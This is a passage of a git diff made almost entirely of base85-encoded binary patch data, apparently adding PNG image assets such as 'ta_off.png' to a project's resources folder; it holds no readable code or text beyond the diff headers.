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 J-@O0ie*m&(`FQ{U literal 0 HcmV?d00001 diff --git a/resources/ulc/src/src/assets/ta_off.png b/resources/ulc/src/src/assets/ta_off.png new file mode 100644 index 0000000000000000000000000000000000000000..30771228ecf41a6f688e8a4cd446320c8c9ce0ba GIT binary patch literal 2991 zcmdT`dsGzH9lncI(13)JwiHp;K~36bc4uGgLl#0<1OkgjcY_+B%+AchcG;O_cb1nn z*e1b^HBhLrmT1q3A%JVMn-jHC1f+ozQsr?{A%u7oqv__LARq<^&)($~Pfud)AN?bH z?#|ph^WE?F{T}ys=CvKkaeixp*8l+g65>@m0pP$XsPS0^ul~i?&QaMi$E|y9}PjiKsP{7B8e1QZN2ow^bLLlNU z{t#%*Lh2PeRofPA!IcupVp+3-&(F)tBXj3tvVkjv#B4xtc*2-I3Yvv@vATf>$Z zRFsvl7|g7Jp}8JLT*ug0B?6T$xL`6b)6&+(Fu{QF^Kmm@z{5N)EdkZ)heJ)KWwe!z z&4pGL^?oa{Ra0Q5_&X^pW3v!cY%WE!VN1qHVtKFGX33uSlqC36Hf4e^D--CjaRa5oSxSk( ztcg$z4w*(ERS4xUYbYjBVAujw4eNl!S^Uw!3~A68JPK5;RwU3?7N-d+L8U~XD4xMU zD#V0XMu;K~|3{5;E$flvGAa zDO4a8=}@sujH5caM1;ynIY|j939hFIgi8_%J!3K9uucpnJd@&^=}d(CjhYxHo3W@F z62@HQsbBqi6GQ3l*ISBmG~Ci~n8Xt$6Okr9WEY|Buoa!%Ae~bS4EGCm-=R!}qk9 zg{1KRGhg%X9%x5PaMqBaFxK+gSG2TH89W6=4@J-!Do7y+8b-BcAm?b}SXk2|RhXi4(|r-yXc{=v@8k zpnC7)f6>T>MiUiDo$3>#U3rIUe$E*_V&sFSLLZQE7=RDIXSd07KY8!SIw_r1v1KrK ztLglUaHy}GExTVkFF`b7L(A=3Y3LUnm#d)uJ?%*SwGzL%1&T`VfP zrsdW2g0_Qm0|QA{2VcKG;LYk)gkL7e`)nsEz-}vpi5}%+q{U^lg;MV7-X40o-W-p1= z)mq#8R|oIv-A8)I(7*M92<5cH!AEZ9_KgP@M>k_NcNFdZN1KQ4?EisVd8TiO(RSBf z9gGYEu2VT7oBNyF>aUE?MBQaW3ge4fi(cBurd2!doV`Y$>l+%1FBF&D%DdyV>}hwu z>nOI@N_}I@6C)7;Z?$z{zN42Bz~ezyuY_^YkM*P ze=dbZR?+Cy7IlM?4TNq1O+g%RIAp=?1zLm$$MSj3>o$OuBMP}_ju`Qn^{@s{$T^ca*<)y?un#-JtuWoE~)(6)o zyJyP(bjaTKLVCx^iUu!LOKJJ_vWQ0a%{klfy$SqZ?>y~*9HLOYJ2j^Y)c?M~)wb_R zQK++_YO`eB0lVyVd#eiYZ%=<-YHtk~$r!Yur+NYD<{`Acs?NEqZ@lwaa9kQX-8j^3 zyH=k<>)pA7=RBDBo%%?--Bst@_v7EZd@#|sZGGd2|9D)F?U3CiI@5ptV%Kn7Q%=a2 z-qQ)H=?wwr-5)z0Vs&7scl-KP8MEW3{@|#4Q5)Qv)4rMK>;*|z#Bmwr>{et$Y)e9q zEoH5LBxg96{^9gH4qDsYzkj0Iu-97fJ7YK)U2!~=?y*$|j5Ji1ibfrk_XKzi>;??oV?DOI{u0To51D$)cYAXT~`y+pbq z5PBdXx%~ECYu)qQ=iGDmKQ~Wi^36HN_l_~%QD#jwF}hDl#zqDJ04Q~JG)(~j;LQ;5 zj)dsums(H!!Ob6OppJD206y z%mpZ_LRIjc>YTy)JF-T_K!jyD?<|=jeuZx z9$8Uw5m#|>Sspp4sD!MvoQ%|69!YUY2{Ca=F$ozF2?+%mNd*Zho_~EHH`;>TJQPed zwg08-W=#p=6&f0-ASM#loYv<5DAI$4|R?d@ekqqH-e^n zh-%`iK0BrW?Ys(jZvcB-fjv|cWFsid2v}0S2tN% z5f@2msECWaoTP{h)J4|A#aT+yL)QJj?7Eq+8Q>cB4}Jg4|L?SQ3vj)`_zy!0l9E!+ zayN^Ji<^s^h=+u2BkdvrmGY1hk(QTsk#Tnszp+pf!sF(u;1Lk)=X{eV-hR%W?qY%d zo)Dh@+Zv4k-+*Al0Jj^?rT)q08}u75bi6}uLKpR~`Y>}3`q#+Uo9Dlh?ne1Pxvm6p z{U^xoZjgU%_Ws|n_dm1qzhNW1+;2et55fO$v5)|d&aOYHy6_z>st z|Fh};v%vrVX!^fsb@g)g_jJE$oMMoFoDut{#r$_r#QvZ0`mcTeOFR0v_)U-dXZWAy zdb9GM_U!I|108(ReB}hlZ~AtWfUc&Rd1TrC^~!U;;h>##+^7;r)x#n@>|-hSdiD=! zlT69i(Aa}FQ7PAoHqn`}VFzb`o#!WXc2Z5v9+_{WbRPUY`17H56b$JdJ5O%E9|;EO zxP{3Gj2rDee4!e{OM}9%DX-X#X7JG-b$97Mqkgw}IB^hmxhGVAOGGd7$r^~vkD=aX$ppS>1OVc}FS6<-eyT7~`$4s0( zbL?>p!ChjnQm+B9i%nYkXiK;#WJniOB-=pUr4OfOhT{XOuh*E-GP@OoXnH3{f-Abs z3BpL=2{mxOLu&2BY|&iwGm2+O2A=#p~ z)25S=xU1`2KvUjGL&l2b(L~j#e?+SA%8!35Op{Z=?c*g*H0A z>Zt&ovw0oTq52o5adX)LNLj9cxHN-t+I|5hP2OaEl3)2@D2^KB9HOEwTg?y@2&Ih) zphGh-A5b$6z*c~wC=ap-&tk*&2<(TBsoZ_@h0k$G<2@V;sqmw^8`Bb+k>n&jE}Z zxkhn3RjK0M+YtX1aD8x6K+j|fxaJUFbEH8(u8)c9kywj8Hcl?}M4u;1i}GeH9bymJ zB+4MkGU{#l6bE>#8x~}IoTBj$_))PWNJ-R$5yuu3sX~km@xYa|bc0U|K{)+!pOb1p z9BGk?VbYX*uZQkLJ4X*gk7Gf(1H2Cv=dm zB*?=(Ibmk})7N!ze;a_xblAe8D`OzuRkfQ4Ez{Tl{8|=GwW%*&0S;*1ID!F%kspYD zlD1g+E8l0^8FJR8sMh&)-jT(ZxI@z;P~S7npY4eM6ADMU&_#*@v9Z@4TdxL@7p|OG zLUi20UdEuecmkuPl2D71N zt+UPmwYz^0@=wOx-gD9=(yu|bYob2OATjtq;nCL>zc6`-kQ*l^s({9cu(3^M+|tTX zn34B&77%B)*ag6wPR_ycWnnkTbHmtLFtqX_I%c^heH_~=z-`g8-|OCku>YK=`H}x= zNM9p=atVznZ(@ihAfyI~q3h8EO`kWYDtcz{e~1u@R%WQS*g-UcSq7Qu^} z@W!y6P7q?*=I7w6<-kbFKW0v=)p^ww`Ifcx1Kj%IJr?n}%_!k8fVfa*h}%>{AK;OT zycXF6Z&HYVFHRj|RU`CngP^)DUWJX+&Im98#D5$XoA_~cQ|~?xFl^{TI8F+wvD(#L zPS9oxTzR<|ZsrFgo3B%%M%Y7fe}20*RD^AXMYU~K-p4oPj7-M@uIUHoG=m)d*6Opr zd8lc35UXrIlwJ*ivT|4xrPuaW^CaA8+c>mLLDJ_T+`)llSfATnQ1qM(9$M#Eis2^2 zPE@;&$KxEocx(O*`vp@0qHl_McZso5&Jz(U4h0>tIn51i8*9l5t13bA@6VU>COEsV zIVZC`uL?|~L2S@;q|wBEno1w4Y#}Q*1Pd)E9BP27*Fh6J@ztcr!|W`uO6S7F8jP$C zFM+^|lT=8^75e-WCV>#YE=PE*;p>~UBZ{Q_s}ERN&?3V@E|tNbh>%%1_nks|{AMcT z==w<$toWX|NHCbbTS@T~@A{B6mek0fXdjsV>!IsfI*IZ)n|NHy3s|)PZHx<@yfMHy z9&eX+$btoYBE#u_j^kXuM~F3C#bLgkru$o{;`xvtL9rcxVF!0c6!Ehj2e^YR!BhIm zdzQ=R3?_3VFCV|fpfrX`7Vzj9sAtO7jC7jKx3wK=Yr1bd+L;w4G|wfHyP{!dPB9}A ztf4<8R92$J-w7tlK&(dC%36th`vr<%7iRo`9Vsw#Ho_Ye*n~&Vp(9b>93j{^_&Qsy z_w^14A4lV|>TtZR?+1Gkk1ujF$Ly<*91g2BCqHQbc7ri&lXI#Li5*180)T^>5YL5I z#_o_9viCHOk00+7GHDv}$OP5q^szx1T&(z#-xM^ab9pUG2qooE9CZ5sqKdToNapmx zM<+9uftJITz$|`f`NpUT?i8@m91yD!^Oom^F0*EZ=m_JfXAe8%pWd%o!)lzBKaqvOgsk@rljN+*9)uXl>z_v7GtYF<2oE74SILVh;d7dQr&Pa4zw-DX>6BK#8zcP zGny9JN_9R+Xm#JO{9#C4Ped6}L_jdz=njeVPf(;$?Sa9!G@*x)0{h=Z%I{t0-wQ-a zJAZZt9)tdN26@Za6>LyflRDF95IddhVwSup*85Cch-6r24th%ea+N_64v*L7>XfG0 zhAc)7jR=W%G*P6w$lIV>$cwo`c(?4OGbQ%ZqvM80*AqJk;=ET4ht4=`+de<*HQZwjw>d{9(ZTg>>K>pYNvyJCZk~1ERfh z2AYi`2R$z=?@$?NiZisnE~z$2L84x8hxk&m1lTCkl3Iy!I+SWk7ZQ>x8UoDxx&t~H zu+^q90r%FF|2mW8Rr8e*|5v zcL>p|3qD;;$|C29V4QzSIO)-Cru+^NZC_eJ{HT5I7pV1DmVhAss0o@MdSj zF)@?2fT1!T5p@2tg{TC{JnPgKv+SWp#F^*bNUA*t6n1OOgt9j_lIXD=G0?^gZgOGQ zS1oFR+$KK!jnD5W8iQ~V5a7rWJnX#=QW2PM9b12ywRa^3#4Gj-v7)CvMS8joQ3p-B zdw7XK(w}4*L5t#+wO(R|m_$qv=kXb?y>A>Dn&}TiO3$|U+_w(T~S%qosU=jsF zMYCJ$`Us!tBA#v2PzYfn`q!*e#3+n*j>d5Trs05{u zwk=}!=#{&JO{fK5J36Y02~t=P?tgl_w$9c9zrES5!I@HnP~O!f(^q}UXlTElB~$6S z(|o_0rdz17LW80Za9vi_d{VRawFOKDtTm*bEI@E?MrWikywiEP+_BxA$zs?TL-o4m zCJcN|hcSKQkbf{QQS5UWt zKFE^<8DMPqTO{l{WWW3Law2~1I#v#U_(WBTgxdkr<@b#6ZgX5|Pe*t7r?$Os6lkT% z&s2Sh?E|nOuo=9|zOnlu}lV8GmisG;9|1mdUKBV{E1w!~pUJmRah|yN1bU) zLWnMXk%5aXedyPquE{cEh+C>7kX`^Ub2%@mns(#7egr7Z&n?=e>k;Dmz~RD!p9gI^ z%5E+%7>bAsWHgXEKj`=8eA+joeGp0lM+rvFO7t{Yq($(hc*Zt=cx&Sl`m6#HzZT=}>V&E;)_l&7qOC_L z0I_#$0VBn+d23=dYTf!hcz>FfJA7z7UtmR#Ib!WY^?7(}NL>IU>M{M77q;Yt=*0H7 zYsKQ(1d;c2)U?;)Ds~IUgzd z!YUWR%hJ%KA6NqRea?yYZc=`MF6Iw}0_D-^3x_aH>_+ndq(Z+3b`L$X{FqT$1Fh}; z_6+lvjKg5wmzCDz_GB^Y(T+{GrPyEEu(hvpFD-vvJzTIvlsCs{(P;2V)p7R2>XH(p z#nss5cCr8!750*Hb3W-W{j%b1Z@nyPIKzRq%_{9fxIK;;*aNNqA|aG8&{_2;8j@`A zXPO*M9wjRL^7XtXh4t%;pHUAiNYpaK-6G&uQG1cg0O@ZWNc%2-`V8IBX35 zgkl_zG|GcJFVO0#0yHo0$=`VG<>RB8A@=%+N+|vi-jS}0Xi#aOk1PR~2ND|5tL|S+ zOvfr`>>!_(s+{a|6X1xlu!n|igjaq>J0gex>zeOIjekY0N(fY>)t5;y=6|sEuLlii zJlYhp)boHHK+_f?n@`?rMwN#lCV`}paEHW0A2$xK<^wUF0C}Q_4{9%finUlSKB(fi zHOD+-ZGb0#AjL7{b+NKRrM(T=OUbjn*kl$u8e)~VUNZu`6m2SwL-1Amy!I0auBjC7cBeEkoX!qozQZyuN{N? z9nSL!bP|7~5dgn~_gp@d6PLQ)V!=XpceIpye@Y=7zX$oC3O`r)ZC1^~40?S!rRCg^ zwscP@?TSlJh)Yx4Tq`Z9(0-)5?yVYrKhEh0Xo)?i4SvQ65LL2yE$Q;jd30=hE+Bi_ zLFgRulBkd!8Pm$e7V|$7sl>H!e~R+JW$3S=E8m~PMZdX?6};=Aiuz0$qDm|Qv9S02 z;vco*Cd})meoF!_ix5XQ(>dwhuW`bb_q1~I+p=V73%MbCE%IeqvOtE!bT3HEGis2F z*gK1(Y&r|}JPDi83B0=*V8lqam_YpCa>nV{fW?nQZcggRMSnZt^Y`vlIJ;kk7fQrf z72s+EeC^~y-SpSb0^`Yc*|~W#X^BST-WnzHXJ3+ z)xw({gDCe3`@n9L?}P{IywUI|i&u-*%0bptwEf~`@4o+n5c$VAU$V0}c^_YoT>D8z zrQ9OL+h^=L9j<^H&E;1^aIy50l_XC%P{e*woqfI%zKo>Wf0ACX>F_v%Rc+nblc{y* zwKVcR^-z8%W^~xk9~}I9hsZ0}nO#lc^~0BIy~b1n-9?S`uZ??^P*Et==@s_*7~5af z#dic?&pJQ>_kN9uWtKKgVOUmks1Uk;81@{frme`=t8VMh`o$+AHK-QQ6O8mFOnlBB73 z+1n2R$R^SeK*e|aCR2#%TWP6YI0oqaN!ILXqWE!3j`&-`)RrrE!qh>gGD`(#2JF{o z0jIU-0%XO``vDAnJtEp<(#V2re489ghP!G92b%wmU^o>iI2phQ zekMc`#wQ?NPf}A!n+FlxbTk<>GlRpGJlZMRY#A)egd|feR1S(&E`3$f>(`|9>;n6l z{6>m$nL*t7W6H)daqz=eb-4)40MfQ?@zFzx-L<3Nk#La@;6Wj($oGMa9WuzI78txlOFkR{?BPj!>IRUBK}B{Fg5GHy@;>eBUnNPow58S_exk zMB06?a6Fe`-F$xW)NMKjCZS1T_N~vJpn+pXLhF``4(`E|DkCzNIIWX8y8Ou<3JvMI z0xqfarvo&Z_To>>6SOBea^S}zflCXtq;^_js$Zxw_ye!U8$Y-Nz5r)n)-J;vs2gAF z^?dn>j+sSTgWw?CkCBGYCpK5tmK*u2!-s`xk&z-;3TLS@V*JWL2YQ*>8QksnY1?A% zN*UHm5W7hBDxQY(^ywz1L$EQ`2wm$uC%2xsye@E(%!#*{duZnJ-8#_#M4-*!esc!DH#4lp zv8lVPZjwBMF(d@4t0(*rh#)75_cPCBDWM?O+YPZ$RZM2d^B|I{I&n2ay3p;iZ$yam z0gb6aELnB<*e2cx#^asOv)<^)Iv^fXVN3`t^y@5qfR8RHZ?0ThQk(yJUeN%@bIsSn zyO(;hLP0Q7USD^jxDjZKk9|#mc_c-=d>hmG?T%h;K3VxnTlyzF(yT}Y9c5X`l>34jy#)M>_7IL3WzhQV$vHwE4bDH4kK-;?)azj?Td}QzJTcXlvIj6uPAl zQ_J8-zOzBF)s!Y!CjxG!8>^_dE)~epZ7MW(2Gm|j_HZCJx{l=KM%05T4^@ookJ6u{ zfVgNfdPH(~v}v?L_IUO6UUQL~WYT1W6KEX2s$7Mr@s%Q_`g>PtKm^&ZJ{k5-zJoa& zCgr*W(y2BY@^I#-1gU`IW^P^FoBx}9-F$SJh`sKM02~UV*50|H9#7V< zL<=~Y#j6xGdJ{Ya8wQ#T)Sfj{ex}=%p~>|*lm&Y&=aL8z@g!I$31&P@ybYFX?iT@R zr9j^GYOjMezpW65jNOSOLiq6&OUI4VflH;k9!>~shrB5wyfn7r5gz(z-LRl!tp^>? zUceX&G|`%-Jaf&?g0MRMeEUW=An?`XAHc;*^{&dMo-)TKgyu)pFF)*r6p-ob;sjWy zr{d*hOOL4_3*RQvk*AX7!Ot-bpeesjf?JYP-`}O?VHR^*@>}X14~fi59C!&`%(D^M z`G&%wu`LiuQVNoN*-1i^48T8u0G8ww`1ne|wh<~5s`Fr=IMe;gUxvLb1B~h+PNG>%X z5m@Xd!g=wKqvYO1H&99s1JjA38D-gmSsS_MysAi{E6io`nn`X`@zuagt!Zt!vfI^psX@R1bCC4PBCs}q$nBL72QrZVe|AoZmSr4H-V<Ctzn9sr1!i%DcfgQjpH>tfy$*mkBU9AgekCB zt~&c}^x2P77Oz}S!IC-}g+$+@S$SG`S9}idVbZ;rafE%aCDKo9 z(x!kdl+LONWHjUrdPe|zjs3x`?6zOwD0Yn-R6~a#)n1Mu0}La($LOOh5DlfO3cxtp zm-H7q4>?aiQGRC2W`Kg{>R*sZkf`_3sHgdVXeZx>G4bWkhGvXaDG*hGnuwX*882Vg@Mi2{W|$Dz6Bd;! zBJZ3lCJoUpRslooj`n5M*!AT$+^(oL{V2L*52$@_5Fn6`ZiK%}R1zFHqvKHoF?jt)OyIaEUkU znSQL#G@ci8ji)7su?{|_-z98uxVasKo!fj>N{d~mJtah&(Y+!(A8zjSCD7$lOCqf)ZSALDKY8M>(?*$h>&Au(?`# zV|JpWLwY(jrFYC`{Di#z@jb3Y9VEAJOQ`!MNwZ{6u|TjWV~@?yvyi(e@>1{Byo zD^|RP9R%R%(J0pCO@X{{-TC_)eqz|pWgMPi28(}^JkVC@#R8d2dBi!xm+{ynjL z3ah=wS(^3X1-DY=hkI^r0q>AtHGr^;sPQ;euqJ_owmEnzr3&dr)9B_VzG~pc0!uVkxa=2b}>|cQr*d#ek)#F^S+ZP z+VUwbBuOC#Jsj2)zpiImrlWZ%PEALarX@i2gw`a;B|Bg7dDRpC9uoteCvd?D3RRxl zIt*;NS<@u91xi>d^bZF6w&J^O!P|h#@?)ei_-(7Ac@kmB+G8iAqaJ?9V!te$? z!GYtdw$f`snp3rxW1}ImM2|>Q^>}E_6$|dh>!>G26AdPGikW&~?wj6wR52V$ zYTZD9#$P|Zq;m+H%G$xc`LjlS@l+L^lkosQ0dL5gESbEBFSSJR_KeAz)52c*DHVK5 z1sXau&wY-+b#uBUg2;+|nQg=KIsP5xuwscA+sn)(ikJe`#*|bz801&KM^ojEU0mp+ zjtq~_)-a|E=1id{S>KL%4-A}mFp!^5T$wP)RV0m(PdO{~h+xcjT;4a>0Qk z=-Xh?CAaW>MDy>7MSGIH_kHH}HJi8)i-xYhMH|d>6NGzaPvBpe5QZ`hWOuugw^Lxf zeaDQ7PkDHqzag0!OrpiLMoo0VW8dA@XB?_2o>QhLnz!*J<|4_VW}iA;OoVv#C^g9_aR6 z=n6dzsjKRE>=E2bRO0#Hk~HcdF^Ur8U5JCPX>#2_OqZcW&uLW%RSe;;hZzCamI`^i z=o!-kSHB-7IUATUT3BhG=FtgfClqPD&phfw(pUyb;!#kZI>u@UX1a{)htn!X?g9wE zv8^>cx-`oR$RaIBdS~_}mG|X+5pgSs4T!vIcID?g0u2(dABmyM?h4iz$X&WXXF~aT zT_T=WyF^yvv>qfYAy1l74E*(tM&7qztOvSI&BqPFhUYJ@0QJwpmrs$Dgv#!kA*SLx?1;=;C!olB949~w{*l1|Z5 z_flO}M<^=8Nwo8N7ThY7zgRGv2wQ;a|MdS-F5U~F;R_LezH^UyYuNg;1J!N;-?;t7 z@Sf69aSgLP?592nAF<_!*5?z}F$p63Wx;ktpNT03e89Tp&t=3-yH>MxJpfXpbUL%B z=O&!04AZNR2_|_HU-7>D69*F`y;|MDmAd3MI>eeja3}TB`}@%Qb*?7uiTpR34CPz4 zXOGlw&hd~sE!`b`;4gjj0z*T-;Vbgv*-AuQOd0;EFA4jFr^HX5dxt@E1l zy|9(?GVqG;N zUX@@P=TAh>D#Z#e74KarD(Qrc9r6ucVhUXE1m3*x6TTk$!sWbBbv0CzYVkqJ^jjrU z?t+HASR(v;-$l>M=35eT$Lvw()Edutt9%J5-bJ5s>+0-&tfGN9^wP7G#Cx!?XqwQ~ z#W(j(QtB8eGubq9t&h^7sCr{T>0RfDmk)XY_h_Hk-D03okaB4Ob$NA8{GxQ2`{Zf! za#t;RHlr&DYwu6Up`ubA3jC0}c6(p$+6ABAjIY>Y-wRGUVcM-H99hH*8q&wO2~!Nu zf9BdU5KN-<+v zEN0K{&pDJyt>J%fy`Q*US%26pIJgzTzVqiU$$)N;$9-;M@@l74r+GIIcOOLJV~YgB zVnC-~VZxo~>1CNo$-tjncb%oZ4EP~x#52)sv|hm*tdtaLBqd(5m7HFqemgdkt0}i` zM`nK!V@&&#<}^p5A^w9$Q%YSpG;zu|`InPsQY_s;>jGKZF`|+fyh4VKfMBUJ@Noh$ z&*$W8rxScwf%5g_NDiPu4!*h>W?f02c3xo<3-m}L~ynAg^`SZDQHt#G)&zN$FDJ2q( z#+1p>mC?+M*t|;Ee!{IW`tikVX=xgN35~dvr5&;Bq$(ty)R0_5EV7`1hs^RGA7_kx zni#6Z-LJmXyV!#7j)iJkKUsFr0MFezKmf-l3ucrDY#j9N18z1g?m)S4LBYf?;o{D+ zOQ>bM#m-{4R3pRuy9^oJgJcc55+p6wh~NulAAcWB=gBi7S@sDc9-uC$RF?Td^A)sG zz;|V{S|Ew?fvk=ft!&af-8Z7w0v`IRRbvwH6syGh*GgB1lOnu#SozKlFve=4w~2f{ zV&~GrwHtUGT_wx{S;cJ~oFz*q((MCBtF!f$J#n#r_GOp4I%j84t}hHc+?mlN2vUI`xjqwTT6rlp`}$`_hdJ}Ss|JhYAsW4Nx)OKK zh?X*^E(YK~G+TW;{G8;`uii1yJ>9fVc=Bj{lAvb;+|E1xw2bL*ebTwp--m5Ip0v-2 zBQBuIu%eM#K+zcO&5H)pi;mj+c;gq1hP^kvD5h(`5Y|q+Xe7UDhY1K@)f*Xl(=C`( z*W~zJ;EUm{WL4mls!u{oIgn&MS?Ob@5fQl0hAoxK-#g_8otu7!NMjhpDN&kzu`Rh# z%}syaH+vqk{yahFp!MMgP|g$~>VW_s@_t?%(ZgcOZD^x=OJ={sV6Xwr^kZny=E)X= zPWMC@)<$-z)yT6<(F3>oEX5_-zMuAkRgabEU5kFuBghadkX@WpeDCATYy1136PHeZ ztFl1!_T9|cC4w(M-M}c+@HD*s^RNbe)ZF9t*d2xL~6O&i-7k>y=4rFnbmdGJ9p`t zR2&n#Q`wU^=~|K+U$6M4IzRnePqP2aBSLHbFUdYp>VjXkpe;y!>gqM4)5(r_gohA5 zPWgvQfhf*(_mta4`JtxE0nz9>*rz8isKdi_=m5@Q1!5OBq{4M+bSQnp(e7U)UGu$P zn2sRki5Agec;X8bI`&mdcAE-IYFYKaTilv5{bVMZo;JPL3Fwz$&#d#7L!2nA)v|8@ z?(`AFcGmx>M7Xr>$<;d)+(ay~%Y(2iCOibH2I$`O8sIiakHlRhmflhs)?IpRhf!H2 zv9w24y0g6xR^H%O+qCS7MB04dwt~hiD zbb%qBD%+4Ks^S=|kbQJT;o4YgOWq zyqwzo8A&JM?WL~in>Zv`dQF9!cbN9Qp``V5YsJ)Zoc76rr*uO=YJ)$?+`R~bML}c0 z2h-T*0hJ$jVXxROfAF}9>>Qut-wLczyz+tQokbd4@jgF%)U0|{H zTE_VIL&k~O_l2v1>E&JpIY$~DhqTaoMQtr`17VYX~($Xb0Nn`+~)ny z-RK1LqYKa#b8$LAf+irM&(iisVFO9`0^K6hD`U2MMRVshtQ3FrGYGYQ5Pj6-%M@ev 